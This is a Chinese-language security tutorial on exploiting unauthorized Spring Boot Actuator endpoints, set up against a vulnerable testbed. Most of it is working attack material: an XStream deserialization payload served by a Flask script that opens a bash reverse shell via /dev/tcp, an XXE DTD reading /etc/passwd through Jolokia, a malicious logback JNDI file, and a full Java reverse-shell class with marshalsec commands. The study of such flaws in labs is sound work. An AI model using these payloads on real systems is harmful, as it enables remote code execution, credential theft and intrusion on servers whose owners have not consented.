Spring Boot Actuator 未授权访问利用实战利用
作者:Ca1y0n 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
前言:
Actuator是spring boot提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。Actuator配置不当会导致未授权访问获取网站相关配置甚至RCE
所有端点皆可以在org.springframework.boot.actuate.endpoint中找到表达的含义
/beans: 查看上下文里全部的javabean
/env: 获取全部的环境属性,可以找到相关的网站数据配置的账号密码
/metrics: 获取报告各种应用程序度量信息
/trace: 提供基本的 HTTP 请求跟踪信息,可获取用户认证字段信息
/health: 报告程序健康指数,在其中可能找到git地址
/dump: 获取线程活动的快照
/heapdump: 获取JVM堆栈信息,经常可以从里面找到登录的账号密码之类的
/logger: 展示了应用中可配置的loggers列表和相关日志等级
/restart: 重启应用
注:
Spring1.x 在url跟路径下进行注册,在2.x版本中移动到/actuator的路径下
Spring1.x与2.x在post请求方面也存在差异,1.x通过application/x-www-form-urlencoded 进行post请求,2.x通过传递json包请求的applistion/json
环境准备:JDK 1.8 or later and Maven 3.2+
下载环境源码
git clone https://github.com/veracode-research/actuator-testbed.git
cd actuator-testbed
修改监听端口
server.address=0.0.0.0
mvn install
启动服务
java -jar ./target/actuator-testbed-0.1.0.jar
访问
http://IP:8090
这里访问env就可以看到未授权访问的一些信息
0x01:
Eureka服务漏洞需要存在两个包
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)
Eureka-Client<1.8.7,eureka服务多用于netflix组件中,可通过在< span="">/env中搜寻Netflix关键字判断时候可能存在Eureka服务
使用python 在服务器上搭建一个响应XStream payload的Web服务,代码如下:
Payload.py
#!/usr/bin/env python
# coding: utf-8
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path':''})
@app.route('/<path:path>',methods=['GET','POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.2.130/1234 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
发送POST请求
eureka.client.serviceUrl.defaultZone=http://192.168.2.130/test
刷新配置
POST /refresh
Vps开启监听获取反弹shell
注:该漏洞的成功利用与jdk版本有关,此处用的是1.8.0_161
0x02
Jolokia 漏洞
XXE
判断是否存在jolokia插件:访问http://ip:port/jolokia/list是否存在
/jolokia/list 接口搜索关键字: ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL
Vps创建xxe payload
logback.xml
<?xml version="1.0" encoding="utf-8" ?>
<a>&trick;</a>
读取文件内容,创建文件fileread.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
Python开启web服务
Payload:
http://靶机IP/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/攻击机IP!/logback.xml
JNDI RCE1
在vpsc创建exp.xml恶意文件
<insertfromjndi </insertfromjndienv-entry-name="ldap://vps:1389/Exploit" as="appName" />
创建并编译JNDIObject
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
开启jndi或者rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/#JNDIObject 1389
在vps开启web服务
替换ip请求触发漏洞
http://IP/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/exp.xml
获取反弹的shell
(如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。)
漏洞原理:
1.直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
2.目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
3.目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
4.xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
5.目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
参考:
https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce